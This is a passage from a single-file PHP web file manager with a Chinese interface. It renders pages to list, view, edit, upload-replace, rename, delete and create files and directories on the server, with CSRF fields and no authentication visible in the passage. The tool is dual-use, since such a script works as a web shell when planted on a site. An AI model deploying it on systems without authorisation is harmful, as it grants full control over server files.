    echo '<th style="width:46%">名称</th><th>大小</th><th>修改时间</th><th>权限</th><th style="width:26%">操作</th>';
    echo '</tr></thead><tbody>';

    if (count($rows) === 0) {
        echo '<tr><td colspan="5" class="muted" style="text-align:center;padding:22px">空目录</td></tr>';
    }

    foreach ($rows as $r) {
        $icon = $r['dir'] ? '📁' : (is_image_ext($r['name']) ? '🖼️' : (is_text_ext($r['name']) ? '📄' : '📦'));
        $qname = $r['name'] . ($r['dir'] ? '/' : '') . ($r['link'] ? ' ↗' : '');

        echo '<tr>';
        if ($r['dir']) {
            echo '<td class="n"><span class="icon">' . $icon . '</span><a href="'
                . h(url(array_merge(array('p' => $r['rel']), $QS))) . '">' . h($qname) . '</a></td>';
            echo '<td class="num">-</td>';
        } else {
            echo '<td class="n"><span class="icon">' . $icon . '</span><a title="下载" href="'
                . h(url(array('a' => 'download', 'f' => $r['rel']))) . '">' . h($qname) . '</a></td>';
            echo '<td class="num">' . h(fmt_size($r['size'])) . '</td>';
        }
        echo '<td class="num">' . h(fmt_time($r['mtime'])) . '</td>';
        echo '<td class="num">' . h($r['perm']) . ($r['wr'] ? '' : ' <span title="不可写">🔒</span>') . '</td>';

        echo '<td class="act">';
        if ($r['dir']) {
            echo '<a href="' . h(url(array_merge(array('p' => $r['rel']), $QS))) . '">进入</a>';
        } else {
            echo '<a href="' . h(url(array('a' => 'view', 'f' => $r['rel']))) . '">查看</a>';
            echo '<a href="' . h(url(array('a' => 'edit', 'f' => $r['rel']))) . '">编辑</a>';
            echo '<a href="' . h(url(array('a' => 'download', 'f' => $r['rel']))) . '">下载</a>';
            echo '<a href="' . h(url(array('a' => 'replace', 'f' => $r['rel']))) . '">替换</a>';
        }
        echo '<a href="' . h(url(array('a' => 'rename', 'f' => $r['rel']))) . '">重命名</a>';
        echo '<a style="color:#ff9b9b" href="' . h(url(array('a' => 'delete', 'f' => $r['rel']))) . '">删除</a>';
        echo '</td></tr>';
    }
    echo '</tbody></table>';

    page_foot();
}

function render_view($f)
{
    global $CFG;

    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !is_file($abs)) {
        page_top('查看');
        msg_box();
        echo '<div class="msg err">文件不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }

    $name = basename($abs);
    $size = (int)@filesize($abs);

    page_top('查看 ' . $name);
    msg_box();
    echo '<div class="bar"><div class="brand">👁 查看:' . h($name) . '</div>';
    echo '<div class="kv">路径:<code>' . h($abs) . '</code></div>';
    echo '<div class="kv">大小:' . h(fmt_size($size)) . ' · 修改:' . h(fmt_time(@filemtime($abs)))
        . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '只读') . '</div>';
    echo '<div class="toolbar">';
    echo '<a class="btn p" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a>';
    echo '<a class="btn" href="' . h(url(array('a' => 'download', 'f' => $f))) . '">⬇ 下载</a>';
    echo '<a class="btn" href="' . h(url(array('a' => 'edit', 'f' => $f))) . '">✏️ 编辑</a>';
    echo '<a class="btn" href="' . h(url(array('a' => 'replace', 'f' => $f))) . '">⬆ 上传替换</a>';
    echo '<a class="btn" href="' . h(url(array('a' => 'rename', 'f' => $f))) . '">🏷 重命名</a>';
    echo '<a class="btn d" href="' . h(url(array('a' => 'delete', 'f' => $f))) . '">🗑 删除</a>';
    echo '</div></div>';

    if (is_image_ext($name)) {
        echo '<div class="panel"><img class="preview" src="' . h(url(array('a' => 'raw', 'f' => $f))) . '" alt="' . h($name) . '"></div>';
        page_foot();
        return;
    }

    if ($size > (int)$CFG['max_edit_bytes']) {
        echo '<div class="msg err">文件超过 ' . h(fmt_size((int)$CFG['max_edit_bytes'])) . ',不在此处预览,请直接下载。</div>';
        page_foot();
        return;
    }

    $content = (string)@file_get_contents($abs);
    if ((!is_text_ext($name) && looks_binary($content)) || strpos($content, "\0") !== false) {
        echo '<div class="msg err">二进制文件,无法文本预览。请下载查看。</div>';
        page_foot();
        return;
    }

    echo '<div class="panel"><pre class="view">' . h($content) . '</pre></div>';
    page_foot();
}

function render_edit($f)
{
    global $CFG;

    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !is_file($abs)) {
        page_top('编辑');
        msg_box();
        echo '<div class="msg err">文件不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }

    $name = basename($abs);
    $size = (int)@filesize($abs);
    $max = (int)$CFG['max_edit_bytes'];
    $tooBig = ($size > $max);
    $content = $tooBig ? '' : (string)@file_get_contents($abs);
    $binary = (!$tooBig && !is_text_ext($name) && looks_binary($content));

    page_top('编辑 ' . $name);
    msg_box();
    echo '<div class="bar"><div class="brand">✏️ 编辑:' . h($name) . '</div>';
    echo '<div class="kv">路径:<code>' . h($abs) . '</code></div>';
    echo '<div class="kv">大小:' . h(fmt_size($size)) . ' · 修改:' . h(fmt_time(@filemtime($abs)))
        . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '只读(保存会失败)') . '</div>';
    echo '<div class="toolbar">';
    echo '<a class="btn p" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a>';
    echo '<a class="btn" href="' . h(url(array('a' => 'view', 'f' => $f))) . '">👁 查看</a>';
    echo '<a class="btn" href="' . h(url(array('a' => 'download', 'f' => $f))) . '">⬇ 下载</a>';
    echo '</div></div>';

    if ($tooBig) {
        echo '<div class="msg err">文件超过在线编辑上限 ' . h(fmt_size($max)) . ',请下载后本地修改,再用「上传替换」写回。</div>';
        page_foot();
        return;
    }
    if ($binary) {
        echo '<div class="msg err">检测到二进制内容,直接保存可能损坏文件。请改用「上传替换」。</div>';
    }

    echo '<form method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="save">';
    echo '<input type="hidden" name="f" value="' . h($f) . '">';
    echo csrf_field();
    echo '<textarea name="content" spellcheck="false">' . h($content) . '</textarea>';
    echo '<div class="toolbar"><button class="btn p" type="submit">💾 保存</button>';
    echo '<a class="btn" href="' . h(url(array('a' => 'view', 'f' => $f))) . '">取消</a>';
    echo '<span class="kv">保存为 UTF-8,换行统一为 LF</span></div>';
    echo '</form>';
    page_foot();
}

function render_replace($f)
{
    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !is_file($abs)) {
        page_top('上传替换');
        msg_box();
        echo '<div class="msg err">文件不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }
    $parent = parent_rel($f);
    if ($parent === null) { $parent = ''; }

    page_top('上传替换 ' . basename($abs));
    msg_box();
    echo '<div class="bar"><div class="brand">⬆ 上传替换:' . h(basename($abs)) . '</div>';
    echo '<div class="kv">目标文件:<code>' . h($abs) . '</code></div>';
    echo '<div class="kv">当前大小:' . h(fmt_size(@filesize($abs))) . ' · 权限:' . h(perm_str($abs))
        . ' · ' . (is_writable($abs) ? '可写' : '不可写(替换会失败)') . '</div>';
    echo '</div>';

    echo '<div class="panel"><h3>选择本地文件覆盖该文件</h3>';
    echo '<form class="inline" method="post" action="' . basename(__FILE__) . '" enctype="multipart/form-data">';
    echo '<input type="hidden" name="a" value="upload">';
    echo '<input type="hidden" name="mode" value="replace">';
    echo '<input type="hidden" name="p" value="' . h($parent) . '">';
    echo '<input type="hidden" name="name" value="' . h(basename($abs)) . '">';
    echo csrf_field();
    echo '<input type="file" name="file" required>';
    echo '<button class="btn p" type="submit">上传并替换</button>';
    echo '<a class="btn" href="' . h(url(array('a' => 'view', 'f' => $f))) . '">取消</a>';
    echo '</form>';
    echo '<div class="kv">替换后原文件内容将被完全覆盖,不可撤销。</div>';
    echo '</div>';
    page_foot();
}

function render_mkdir_page($rel)
{
    global $QS;
    page_top('新建目录');
    msg_box();
    echo '<div class="bar"><div class="brand">➕ 在下面创建目录</div>';
    echo '<div class="kv">位置:<code>' . h(disp_path($rel)) . '</code></div></div>';
    echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="mkdir"><input type="hidden" name="p" value="' . h($rel) . '">';
    echo csrf_field();
    echo '<input type="text" name="name" placeholder="目录名" required autofocus>';
    echo '<button class="btn p" type="submit">创建</button>';
    echo '<a class="btn" href="' . h(url(array_merge(array('p' => $rel), $QS))) . '">返回</a>';
    echo '</form></div>';
    page_foot();
}

function render_newfile_page($rel)
{
    global $QS;
    page_top('新建文件');
    msg_box();
    echo '<div class="bar"><div class="brand">📄 在下面创建文件</div>';
    echo '<div class="kv">位置:<code>' . h(disp_path($rel)) . '</code></div></div>';
    echo '<div class="panel"><form method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="newfile"><input type="hidden" name="p" value="' . h($rel) . '">';
    echo csrf_field();
    echo '<div class="toolbar"><input type="text" name="name" placeholder="文件名,如 index.php" required autofocus>';
    echo '<label class="chk"><input type="checkbox" name="overwrite" value="1"> 覆盖同名文件</label></div>';
    echo '<textarea name="content" spellcheck="false" placeholder="初始内容(可留空)"></textarea>';
    echo '<div class="toolbar"><button class="btn p" type="submit">创建</button>';
    echo '<a class="btn" href="' . h(url(array_merge(array('p' => $rel), $QS))) . '">返回</a></div>';
    echo '</form></div>';
    page_foot();
}

function render_rename_page($f)
{
    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !file_exists($abs)) {
        page_top('重命名');
        msg_box();
        echo '<div class="msg err">目标不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }
    $parent = parent_rel($f);
    if ($parent === null) { $parent = ''; }

    page_top('重命名');
    msg_box();
    echo '<div class="bar"><div class="brand">🏷 重命名</div>';
    echo '<div class="kv">原路径:<code>' . h($abs) . '</code></div></div>';
    echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="rename"><input type="hidden" name="f" value="' . h($f) . '">';
    echo csrf_field();
    echo '<input type="text" name="newname" value="' . h(basename($abs)) . '" required autofocus>';
    echo '<button class="btn p" type="submit">重命名</button>';
    echo '<a class="btn" href="' . h(url(array('p' => $parent))) . '">返回</a>';
    echo '</form><div class="kv">只能改当前目录内的名称,不能移动到别的目录。</div></div>';
    page_foot();
}

function render_delete_page($f)
{
    $abs = resolve_path($f);
    if ($f === '' || $abs === null || !file_exists($abs)) {
        page_top('删除');
        msg_box();
        echo '<div class="msg err">目标不存在:' . h(disp_path($f)) . '</div>';
        echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>';
        page_foot();
        return;
    }
    $parent = parent_rel($f);
    if ($parent === null) { $parent = ''; }
    $isDir = is_dir($abs);

    page_top('删除确认');
    msg_box();
    echo '<div class="bar"><div class="brand">🗑 删除确认</div>';
    echo '<div class="kv">目标:<code>' . h($abs) . '</code>' . ($isDir ? '(目录,含其下全部内容)' : '') . '</div></div>';
    echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">';
    echo '<input type="hidden" name="a" value="delete"><input type="hidden" name="f" value="' . h($f) . '">';
    echo csrf_field();
    echo '<button class="btn d" type="submit">确认删除</button>';
    echo '<a class="btn" href="' . h(url(array('p' => $parent))) . '">取消</a>';
    echo '</form><div class="kv">删除不可撤销。</div></div>';
    page_foot();
}

if ($act === 'view') { render_view(isset($_GET['f']) ? (string)$_GET['f'] : ''); }
elseif ($act === 'edit') { render_edit(isset($_GET['f']) ? (string)$_GET['f'] : ''); }
elseif ($act === 'replace') { render_replace(isset($_GET['f']) ? (string)$_GET['f'] : ''); }
elseif ($act === 'rename') { render_rename_page(isset($_GET['f']) ? (string)$_GET['f'] : ''); }
elseif ($act === 'delete') { render_delete_page(isset($_GET['f']) ? (string)$_GET['f'] : ''); }
elseif ($act === 'mkdir') { render_mkdir_page($rel); }
elseif ($act === 'newfile') { render_newfile_page($rel); }
else { render_list($rel); }